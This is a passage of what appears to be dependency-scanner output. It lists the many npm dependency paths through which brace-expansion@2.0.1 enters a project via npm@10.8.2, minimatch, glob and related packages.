  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
